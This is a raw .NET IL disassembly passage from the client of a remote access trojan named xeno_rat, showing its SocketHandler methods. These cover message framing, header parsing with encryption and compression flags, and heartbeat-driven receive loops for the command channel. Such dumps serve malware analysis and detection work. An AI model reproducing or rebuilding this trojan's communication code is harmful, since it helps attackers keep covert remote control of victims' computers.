    00004a75call get_Task
    00004a7aret
    00004a3c
    00004a88
    00004a88xeno_rat_client.SocketHandler::Concat:
    00004a88ldarg.0
    00004a89brtrue.s IL_000b
    00004a8bldc.i4.0
    00004a8cnewarr System.Byte
    00004a91starg.s 0
    00004a93newobj .ctor
    00004a98dup
    00004a99ldarg.0
    00004a9acallvirt Add
    00004a9fdup
    00004aa0ldarg.1
    00004aa1callvirt Add
    00004aa6ldsfld <>9__6_0
    00004aabdup
    00004aacbrtrue.s IL_003d
    00004aaepop
    00004aafldsfld <>9
    00004ab4ldftn <Concat>b__6_0
    00004abanewobj .ctor
    00004abfdup
    00004ac0stsfld <>9__6_0
    00004ac5call 0x2B000031
    00004acacall 0x2B000012
    00004acfret
    00004a88
    00004adc
    00004adcxeno_rat_client.SocketHandler::ParseHeader:
    00004adcnewobj .ctor
    00004ae1stloc.0
    00004ae2ldarg.1
    00004ae3ldc.i4.0
    00004ae4ldelem.u1
    00004ae5ldc.i4.1
    00004ae6bne.un.s IL_002a
    00004ae8ldloc.0
    00004ae9ldc.i4.1
    00004aeastfld Compressed
    00004aefldloc.0
    00004af0ldarg.0
    00004af1ldarg.1
    00004af2ldc.i4.1
    00004af3call BytesToInt
    00004af8stfld OriginalFileSize
    00004afdldloc.0
    00004afeldc.i4.5
    00004affstfld T_offset
    00004b04br.s IL_0031
    00004b06ldarg.1
    00004b07ldc.i4.0
    00004b08ldelem.u1
    00004b09brfalse.s IL_0031
    00004b0bldnull
    00004b0cret
    00004b0dldloc.0
    00004b0eret
    00004adc
    00004b1c
    00004b1cxeno_rat_client.SocketHandler::BTruncate:
    00004b1cldarg.1
    00004b1dldlen
    00004b1econv.i4
    00004b1fldarg.2
    00004b20sub
    00004b21newarr System.Byte
    00004b26stloc.0
    00004b27ldarg.1
    00004b28ldarg.2
    00004b29ldloc.0
    00004b2aldc.i4.0
    00004b2bldloc.0
    00004b2cldlen
    00004b2dconv.i4
    00004b2ecall BlockCopy
    00004b33ldloc.0
    00004b34ret
    00004b1c
    00004b44
    00004b44xeno_rat_client.SocketHandler::SendAsync:
    00004b44ldloca.s 0
    00004b46call Create
    00004b4bstfld <>t__builder
    00004b50ldloca.s 0
    00004b52ldarg.0
    00004b53stfld <>4__this
    00004b58ldloca.s 0
    00004b5aldarg.1
    00004b5bstfld data
    00004b60ldloca.s 0
    00004b62ldc.i4.m1
    00004b63stfld <>1__state
    00004b68ldloca.s 0
    00004b6aldflda <>t__builder
    00004b6fldloca.s 0
    00004b71call 0x2B000032
    00004b76ldloca.s 0
    00004b78ldflda <>t__builder
    00004b7dcall get_Task
    00004b82ret
    00004b44
    00004b90
    00004b90xeno_rat_client.SocketHandler::ReceiveAsync:
    00004b90ldloca.s 0
    00004b92call Create
    00004b97stfld <>t__builder
    00004b9cldloca.s 0
    00004b9eldarg.0
    00004b9fstfld <>4__this
    00004ba4ldloca.s 0
    00004ba6ldc.i4.m1
    00004ba7stfld <>1__state
    00004bacldloca.s 0
    00004baeldflda <>t__builder
    00004bb3ldloca.s 0
    00004bb5call 0x2B000033
    00004bbaldloca.s 0
    00004bbcldflda <>t__builder
    00004bc1call get_Task
    00004bc6ret
    00004b90
    00004bd4
    00004bd4xeno_rat_client.SocketHandler::BytesToInt:
    00004bd4ldsfld IsLittleEndian
    00004bd9brfalse.s IL_0025
    00004bdbldarg.1
    00004bdcldarg.2
    00004bddldelem.u1
    00004bdeldarg.1
    00004bdfldarg.2
    00004be0ldc.i4.1
    00004be1add
    00004be2ldelem.u1
    00004be3ldc.i4.8
    00004be4shl
    00004be5or
    00004be6ldarg.1
    00004be7ldarg.2
    00004be8ldc.i4.2
    00004be9add
    00004bealdelem.u1
    00004bebldc.i4.s 16
    00004bedshl
    00004beeor
    00004befldarg.1
    00004bf0ldarg.2
    00004bf1ldc.i4.3
    00004bf2add
    00004bf3ldelem.u1
    00004bf4ldc.i4.s 24
    00004bf6shl
    00004bf7or
    00004bf8ret
    00004bf9ldarg.1
    00004bfaldarg.2
    00004bfbldc.i4.3
    00004bfcadd
    00004bfdldelem.u1
    00004bfeldarg.1
    00004bffldarg.2
    00004c00ldc.i4.2
    00004c01add
    00004c02ldelem.u1
    00004c03ldc.i4.8
    00004c04shl
    00004c05or
    00004c06ldarg.1
    00004c07ldarg.2
    00004c08ldc.i4.1
    00004c09add
    00004c0aldelem.u1
    00004c0bldc.i4.s 16
    00004c0dshl
    00004c0eor
    00004c0fldarg.1
    00004c10ldarg.2
    00004c11ldelem.u1
    00004c12ldc.i4.s 24
    00004c14shl
    00004c15or
    00004c16ret
    00004bd4
    00004c24
    00004c24xeno_rat_client.SocketHandler::IntToBytes:
    00004c24ldc.i4.4
    00004c25newarr System.Byte
    00004c2astloc.0
    00004c2bldsfld IsLittleEndian
    00004c30brfalse.s IL_002c
    00004c32ldloc.0
    00004c33ldc.i4.0
    00004c34ldarg.1
    00004c35conv.u1
    00004c36stelem.i1
    00004c37ldloc.0
    00004c38ldc.i4.1
    00004c39ldarg.1
    00004c3aldc.i4.8
    00004c3bshr
    00004c3cconv.u1
    00004c3dstelem.i1
    00004c3eldloc.0
    00004c3fldc.i4.2
    00004c40ldarg.1
    00004c41ldc.i4.s 16
    00004c43shr
    00004c44conv.u1
    00004c45stelem.i1
    00004c46ldloc.0
    00004c47ldc.i4.3
    00004c48ldarg.1
    00004c49ldc.i4.s 24
    00004c4bshr
    00004c4cconv.u1
    00004c4dstelem.i1
    00004c4ebr.s IL_0048
    00004c50ldloc.0
    00004c51ldc.i4.3
    00004c52ldarg.1
    00004c53conv.u1
    00004c54stelem.i1
    00004c55ldloc.0
    00004c56ldc.i4.2
    00004c57ldarg.1
    00004c58ldc.i4.8
    00004c59shr
    00004c5aconv.u1
    00004c5bstelem.i1
    00004c5cldloc.0
    00004c5dldc.i4.1
    00004c5eldarg.1
    00004c5fldc.i4.s 16
    00004c61shr
    00004c62conv.u1
    00004c63stelem.i1
    00004c64ldloc.0
    00004c65ldc.i4.0
    00004c66ldarg.1
    00004c67ldc.i4.s 24
    00004c69shr
    00004c6aconv.u1
    00004c6bstelem.i1
    00004c6cldloc.0
    00004c6dret
    00004c24
    00004c7c
    00004c7c<ReceiveAsync>d__10::MoveNext:
    00004c7cldarg.0
    00004c7dldfld <>1__state
    00004c82stloc.0
    00004c83ldarg.0
    00004c84ldfld <>4__this
    00004c89stloc.1
    00004c8aldloc.0
    00004c8bldc.i4.1
    00004c8cpop
    00004c8dpop
    00004c8enop
    00004c8fldloc.0
    00004c90brfalse.s IL_0058
    00004c92ldloc.0
    00004c93ldc.i4.1
    00004c94beq IL_00cd
    00004c99ldloc.1
    00004c9aldc.i4.4
    00004c9bcall RecvAllAsync_ddos_unsafer
    00004ca0callvirt GetAwaiter
    00004ca5stloc.s 7
    00004ca7ldloca.s 7
    00004ca9call get_IsCompleted
    00004caebrtrue.s IL_0075
    00004cb0ldarg.0
    00004cb1ldc.i4.0
    00004cb2dup
    00004cb3stloc.0
    00004cb4stfld <>1__state
    00004cb9ldarg.0
    00004cbaldloc.s 7
    00004cbcstfld <>u__1
    00004cc1ldarg.0
    00004cc2ldflda <>t__builder
    00004cc7ldloca.s 7
    00004cc9ldarg.0
    00004ccacall 0x2B000034
    00004ccfleave IL_01f9
    00004cd4ldarg.0
    00004cd5ldfld <>u__1
    00004cdastloc.s 7
    00004cdcldarg.0
    00004cddldflda <>u__1
    00004ce2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    00004ce8ldarg.0
    00004ce9ldc.i4.m1
    00004ceadup
    00004cebstloc.0
    00004cecstfld <>1__state
    00004cf1ldloca.s 7
    00004cf3call GetResult
    00004cf8stloc.3
    00004cf9ldloc.3
    00004cfabrtrue.s IL_0087
    00004cfcldnull
    00004cfdstloc.2
    00004cfeleave IL_01e5
    00004d03ldloc.1
    00004d04ldloc.3
    00004d05ldc.i4.0
    00004d06call BytesToInt
    00004d0bstloc.s 4
    00004d0dldloc.1
    00004d0eldloc.s 4
    00004d10call RecvAllAsync_ddos_unsafer
    00004d15callvirt GetAwaiter
    00004d1astloc.s 7
    00004d1cldloca.s 7
    00004d1ecall get_IsCompleted
    00004d23brtrue.s IL_00ea
    00004d25ldarg.0
    00004d26ldc.i4.1
    00004d27dup
    00004d28stloc.0
    00004d29stfld <>1__state
    00004d2eldarg.0
    00004d2fldloc.s 7
    00004d31stfld <>u__1
    00004d36ldarg.0
    00004d37ldflda <>t__builder
    00004d3cldloca.s 7
    00004d3eldarg.0
    00004d3fcall 0x2B000034
    00004d44leave IL_01f9
    00004d49ldarg.0
    00004d4aldfld <>u__1
    00004d4fstloc.s 7
    00004d51ldarg.0
    00004d52ldflda <>u__1
    00004d57initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    00004d5dldarg.0
    00004d5eldc.i4.m1
    00004d5fdup
    00004d60stloc.0
    00004d61stfld <>1__state
    00004d66ldloca.s 7
    00004d68call GetResult
    00004d6dstloc.s 5
    00004d6fldloc.s 5
    00004d71brtrue.s IL_00fe
    00004d73ldnull
    00004d74stloc.2
    00004d75leave IL_01e5
    00004d7aldloc.s 5
    00004d7cldc.i4.0
    00004d7dldelem.u1
    00004d7eldc.i4.3
    00004d7fbne.un.s IL_016d
    00004d81ldloc.1
    00004d82ldloc.s 5
    00004d84ldc.i4.1
    00004d85call BTruncate
    00004d8astloc.s 5
    00004d8cldloc.s 5
    00004d8eldloc.1
    00004d8fldfld EncryptionKey
    00004d94call Decrypt
    00004d99stloc.s 5
    00004d9bldloc.s 5
    00004d9dldc.i4.0
    00004d9eldelem.u1
    00004d9fldc.i4.2
    00004da0beq IL_001d
    00004da5ldloc.1
    00004da6ldloc.s 5
    00004da8call ParseHeader
    00004dadstloc.s 6
    00004dafldloc.s 6
    00004db1brtrue.s IL_013e
    00004db3ldnull
    00004db4stloc.2
    00004db5leave IL_01e5
    00004dbaldloc.1
    00004dbbldloc.s 5
    00004dbdldloc.s 6
    00004dbfldfld T_offset
    00004dc4call BTruncate
    00004dc9stloc.s 5
    00004dcbldloc.s 6
    00004dcdldfld Compressed
    00004dd2brfalse.s IL_0168
    00004dd4ldloc.s 5
    00004dd6ldloc.s 6
    00004dd8ldfld OriginalFileSize
    00004dddcall Decompress
    00004de2stloc.s 5
    00004de4ldloc.s 5
    00004de6stloc.2
    00004de7leave.s IL_01e5
    00004de9ldloc.s 5
    00004debldc.i4.0
    00004decldelem.u1
    00004dedldc.i4.2
    00004deebeq IL_001d
    00004df3ldloc.1
    00004df4ldloc.s 5
    00004df6call ParseHeader
    00004dfbstloc.s 6
    00004dfdldloc.s 6
    00004dffbrtrue.s IL_0189
    00004e01ldnull
    00004e02stloc.2
    00004e03leave.s IL_01e5
    00004e05ldloc.1
    00004e06ldloc.s 5
    00004e08ldloc.s 6
    00004e0aldfld T_offset
    00004e0fcall BTruncate
    00004e14stloc.s 5
    00004e16ldloc.s 6
    00004e18ldfld Compressed
    00004e1dbrfalse.s IL_01b3
    00004e1fldloc.s 5
    00004e21ldloc.s 6
    00004e23ldfld OriginalFileSize
    00004e28call Decompress
    00004e2dstloc.s 5
    00004e2fldloc.s 5
    00004e31ldloc.1
    00004e32ldfld EncryptionKey
    00004e37call Decrypt
    00004e3cstloc.s 5
    00004e3eldloc.s 5
    00004e40stloc.2
    00004e41leave.s IL_01e5
    00004e43pop
    00004e44ldnull
    00004e45stloc.2
    00004e46leave.s IL_01e5
    00004e48stloc.s 8
    00004e4aldarg.0
    00004e4bldc.i4.s -2
    00004e4dstfld <>1__state
    00004e52ldarg.0
    00004e53ldflda <>t__builder
    00004e58ldloc.s 8
    00004e5acall SetException
    00004e5fleave.s IL_01f9
    00004e61ldarg.0
    00004e62ldc.i4.s -2
    00004e64stfld <>1__state
    00004e69ldarg.0
    00004e6aldflda <>t__builder
    00004e6fldloc.2
    00004e70call SetResult
    00004e75ret
    00004c7c
    00004eb8
    00004eb8<RecvAllAsync_ddos_safer>d__5::MoveNext:
    00004eb8ldarg.0
    00004eb9ldfld <>1__state
    00004ebestloc.0
    00004ebfldarg.0
    00004ec0ldfld <>4__this
    00004ec5stloc.1
    00004ec6ldloc.0
    00004ec7switch (IL_00db, IL_01e0, IL_0248)
    00004ed8ldarg.0
    00004ed9ldarg.0
    00004edaldfld size
    00004edfnewarr System.Byte
    00004ee4stfld <data>5__2
    00004ee9ldarg.0
    00004eealdc.i4.0
    00004eebstfld <total>5__3
    00004ef0ldarg.0
    00004ef1ldarg.0
    00004ef2ldfld size
    00004ef7stfld <dataLeft>5__4
    00004efcldarg.0
    00004efdcall get_Now
    00004f02stfld <startTimestamp>5__5
    00004f07ldarg.0
    00004f08call get_Now
    00004f0dstfld <lastSendTime>5__6
    00004f12br IL_026c
    00004f17ldloc.1
    00004f18ldfld sock
    00004f1dcallvirt get_Connected
    00004f22brtrue.s IL_0073
    00004f24ldnull
    00004f25stloc.2
    00004f26leave IL_02a6
    00004f2bldloc.1
    00004f2cldfld sock
    00004f31callvirt get_Available
    00004f36ldc.i4.0
    00004f37ble IL_0130
    00004f3cldloc.1
    00004f3dldfld sock
    00004f42ldarg.0
    00004f43ldfld <data>5__2
    00004f48ldarg.0
    00004f49ldfld <total>5__3
    00004f4eldarg.0
    00004f4fldfld <dataLeft>5__4
    00004f54newobj .ctor
    00004f59ldc.i4.0
    00004f5acall ReceiveAsync
    00004f5fcallvirt GetAwaiter
    00004f64stloc.s 4
    00004f66ldloca.s 4
    00004f68call get_IsCompleted
    00004f6dbrtrue.s IL_00f8
    00004f6fldarg.0
    00004f70ldc.i4.0
    00004f71dup
    00004f72stloc.0
    00004f73stfld <>1__state
    00004f78ldarg.0
    00004f79ldloc.s 4
    00004f7bstfld <>u__1
    00004f80ldarg.0
    00004f81ldflda <>t__builder
    00004f86ldloca.s 4
    00004f88ldarg.0
    00004f89call 0x2B000035
    00004f8eleave IL_02c1
    00004f93ldarg.0
    00004f94ldfld <>u__1
    00004f99stloc.s 4
    00004f9bldarg.0
    00004f9cldflda <>u__1
    00004fa1initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
    00004fa7ldarg.0
    00004fa8ldc.i4.m1
    00004fa9dup
    00004faastloc.0
    00004fabstfld <>1__state
    00004fb0ldloca.s 4
    00004fb2call GetResult
    00004fb7stloc.3
    00004fb8ldloc.3
    00004fb9brtrue.s IL_010f
    00004fbbldarg.0
    00004fbcldnull
    00004fbdstfld <data>5__2
    00004fc2br IL_027d
    00004fc7ldarg.0
    00004fc8ldarg.0
    00004fc9ldfld <total>5__3
    00004fceldloc.3
    00004fcfadd
    00004fd0stfld <total>5__3
    00004fd5ldarg.0
    00004fd6ldarg.0
    00004fd7ldfld <dataLeft>5__4
    00004fdcldloc.3
    00004fddsub
    00004fdestfld <dataLeft>5__4
    00004fe3br IL_026c
    00004fe8ldloc.1
    00004fe9ldfld socktimeout
    00004feebrfalse.s IL_0166
    00004ff0call get_Now
    00004ff5ldarg.0
    00004ff6ldfld <startTimestamp>5__5
    00004ffbcall op_Subtraction
    00005000stloc.s 6
    00005002ldloca.s 6
    00005004call get_TotalMilliseconds
    00005009ldloc.1
    0000500aldfld socktimeout
    0000500fconv.r8
    00005010blt.un.s IL_0166
    00005012ldarg.0
    00005013ldnull
    00005014stfld <data>5__2
    00005019br IL_027d
    0000501ecall get_Now
    00005023ldarg.0
    00005024ldfld <lastSendTime>5__6
    00005029call op_Subtraction
    0000502estloc.s 5
    00005030ldloca.s 5
    00005032call get_TotalMilliseconds
    00005037ldc.r8 1500
    00005040blt.un IL_0210
    00005045ldloc.1
    00005046ldfld sock
    0000504bldc.i4.5
    0000504cnewarr System.Byte
    00005051dup
    00005052ldc.i4.0
    00005053ldc.i4.1
    00005054stelem.i1
    00005055dup
    00005056ldc.i4.4
    00005057ldc.i4.2
    00005058stelem.i1
    00005059newobj .ctor
    0000505eldc.i4.0
    0000505fcall SendAsync
    00005064callvirt GetAwaiter
    00005069stloc.s 4
    0000506bldloca.s 4
    0000506dcall get_IsCompleted
    00005072brtrue.s IL_01fd
    00005074ldarg.0
    00005075ldc.i4.1
    00005076dup
    00005077stloc.0
    00005078stfld <>1__state
    0000507dldarg.0
    0000507eldloc.s 4
    00005080stfld <>u__1
    00005085ldarg.0
    00005086ldflda <>t__builder
    0000508bldloca.s 4
    0000508dldarg.0
    0000508ecall 0x2B000035
    00005093leave IL_02c1
    00005098ldarg.0
    00005099ldfld <>u__1
    0000509estloc.s 4
    000050a0ldarg.0
    000050a1ldflda <>u__1
    000050a6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
    000050acldarg.0
    000050adldc.i4.m1
    000050aedup
    000050afstloc.0
    000050b0stfld <>1__state
    000050b5ldloca.s 4
    000050b7call GetResult
    000050bcpop
    000050bdldarg.0
    000050becall get_Now
    000050c3stfld <lastSendTime>5__6
    000050c8ldc.i4.s 10
    000050cacall Delay
    000050cfcallvirt GetAwaiter
    000050d4stloc.s 7
    000050d6ldloca.s 7
    000050d8call get_IsCompleted
    000050ddbrtrue.s IL_0265
    000050dfldarg.0
    000050e0ldc.i4.2
    000050e1dup
    000050e2stloc.0
    000050e3stfld <>1__state
    000050e8ldarg.0
    000050e9ldloc.s 7
    000050ebstfld <>u__2
    000050f0ldarg.0
    000050f1ldflda <>t__builder
    000050f6ldloca.s 7
    000050f8ldarg.0
    000050f9call 0x2B000036
    000050feleave.s IL_02c1
    00005100ldarg.0
    00005101ldfld <>u__2
    00005106stloc.s 7
    00005108ldarg.0
    00005109ldflda <>u__2
    0000510einitobj System.Runtime.CompilerServices.TaskAwaiter
    00005114ldarg.0
    00005115ldc.i4.m1
    00005116dup
    00005117stloc.0
    00005118stfld <>1__state
    0000511dldloca.s 7
    0000511fcall GetResult
    00005124ldarg.0
    00005125ldfld <total>5__3
    0000512aldarg.0
    0000512bldfld size
    00005130blt IL_005f
    00005135ldarg.0
    00005136ldfld <data>5__2
    0000513bstloc.2
    0000513cleave.s IL_02a6
    0000513estloc.s 8
    00005140ldarg.0
    00005141ldc.i4.s -2
    00005143stfld <>1__state
    00005148ldarg.0
    00005149ldnull
    0000514astfld <data>5__2
    0000514fldarg.0
    00005150ldflda <>t__builder
    00005155ldloc.s 8
    00005157call SetException
    0000515cleave.s IL_02c1
    0000515eldarg.0
    0000515fldc.i4.s -2
    00005161stfld <>1__state
    00005166ldarg.0
    00005167ldnull
    00005168stfld <data>5__2
    0000516dldarg.0
    0000516eldflda <>t__builder
    00005173ldloc.2
    00005174call SetResult
    00005179ret
    00004eb8